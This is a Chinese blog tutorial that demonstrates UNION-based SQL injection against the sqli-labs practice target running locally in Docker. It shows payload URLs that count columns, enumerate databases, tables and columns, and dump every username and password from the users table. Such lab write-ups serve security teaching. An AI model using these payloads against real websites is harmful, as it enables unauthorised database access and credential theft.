• 如何通过SQL注入盗取数据库信息


    我们都是善良的银!一生戎码只为行侠仗义,知道这个不是为了做啥非法的事,只是知道小偷怎么偷东西才能更好地防范。

    SQL注入(SQL Injection),SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

    下面我们用sqli-labs这个开源项目来演示一下SQL注入盗取信息的全程。
    sqli-labs是一个sql注入的练习靶机,项目地址为:/sqli-labs

    源码是用php写的,这里我使用的是docker部署的,如下
    这里我是去store.docker.com搜索的镜像使用:https://hub.docker.com/r/acgpiano/sqli-labs,我们运行一下

    docker run -dt --name sqli-lab -p 8089:80 acgpiano/sqli-labs:latest
    

    运行后打开http://127.0.0.1:8089/,界面如下

    这是一个闯关的课程,一个有22课,接下来我们只会用到Less-1来演示,也就是单引号注入,但是核心原理其实都是通过UNIONt和CONCAT出对应的数据盗取信息。

    更多技巧可以参考这篇文章:SQL注入篇——sqli-labs最详细1-75闯关指南

    打开:http://127.0.0.1:8089/Less-1/,看到如下内容

    我们输入id:http://127.0.0.1:8089/Less-1/?id=1,显示了id为1的用户

    对应的php源码是这样的:

    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    

    相当于最后sql变成了

    SELECT * FROM users WHERE id='1' LIMIT 0,1
    

    知其然也知其所以然,欧耶~

    数据库结构

    数据库是这样的

    注入示例

    下面使用Less-1的单引号注入来演示一下盗取信息的过程

    我们把id改成:id=1' and 1=1 -- -,访问

    http://127.0.0.1:8089/Less-1/?id=1' and 1=1 -- -
    

    可以正常访问,说明可以用单引号注入,SQL语句相当于变成了

    SELECT * FROM users WHERE id='1' and 1=1 -- ' LIMIT 0,1
    

    这就是传说中的单引号注入,相当于构造出了下面这样的语句

    判断共有多少字段

    UNION SELECT 1,user(),database()­­ -- -
    

    通过orderby试探,order by是可以直接指定字段的列来排序的,所以可以挨个试,
    比如当我们使用order by 5,访问

    http://127.0.0.1:8089/Less-1/?id=1' order by 5 -- -
    

    报错了,说明不对

    当我们用order by 3的时候,正常返回了,访问地址:

    http://127.0.0.1:8089/Less-1/?id=1' order by 3 -- -
    

    正常返回了,说明字段有3个。

    判断字段的显示位置

    UNION SELECT 1,2,3 -- -
    

    我们构造一下,访问

    http://127.0.0.1:8089/Less-1/?id='UNION SELECT 1,2,3 -- -
    


    分别显示2和3,说明登录名和密码字段在2和3的位置

    显示登录用户和数据库名

    UNION SELECT 1,(SELECT group_concat(table_name) FROM information_schema.tables where table_schema = 'security' ),3 -- -
    

    已经匹配出了字段,接下来的所有用户信息都需要经过UNION相等的列来获取,访问

    http://127.0.0.1:8089/Less-1/?id='  UNION SELECT 1,database(),user() -- -
    

    我们看到当前使用的数据库名叫security,连接的用户是root超管

    查看所有数据库名

    UNION SELECT 1,2,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)-- -
    

    访问

    http://127.0.0.1:8089/Less-1/?id=' UNION SELECT 1,2,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)-- -
    

    其实原理就是构造出了这样的语句

    我们看到了数据库有information_schema、challenges、mysql、performance_schema、security

    查看数据库的所有表名

    UNION SELECT 1,2,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='security') -- -
    

    访问

    http://127.0.0.1:8089/Less-1/?id=' UNION SELECT 1,2,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='security') -- -
    

    访问如下

    我们看到有emails、referers、uagents、users这四个表

    查看表的所有字段

    UNION SELECT 1,(SELECT group_concat(column_name) FROM information_schema.columns where table_schema = 'security' and table_name='users' ),3 -- -
    

    访问

    http://127.0.0.1:8089/Less-1/?id=' UNION SELECT 1,(SELECT group_concat(column_name) FROM information_schema.columns where table_schema = 'security' and table_name='users' ),3 -- -
    

    可以看到用id、username、password3个字段

    查看所有的用户密码

    UNION SELECT 1,(SELECT group_concat(concat_ws(0x7e,username,password))FROM users),3 -- -
    

    访问

    http://127.0.0.1:8089/Less-1/?id=' UNION SELECT 1,(SELECT group_concat(concat_ws(0x7e,username,password)) FROM users),3 -- -
    

    用户名和密码全出来了,厉害了我的哥!

    到这里,我们就学会了怎么把对方所有的隐私load出来了,有点可怕啊!你学会了吗!以上内容由chenqionghe提供,light weight baby!

  • 相关阅读:
    .net学习笔记----WebConfig常用配置节点介绍
    .net学习笔记----会话状态Session
    .net学习笔记---HttpRuntime类
    最优化基础(三)
    最优化基础(二)
    最优化基础(一)
    非精确线搜索
    精确线搜索——抛物线法
    Matlab自定义函数的几种方法
    精确线搜索-黄金分割法
  • 原文地址:https://www.cnblogs.com/chenqionghe/p/14395297.html
Copyright © 2020-2023  润新知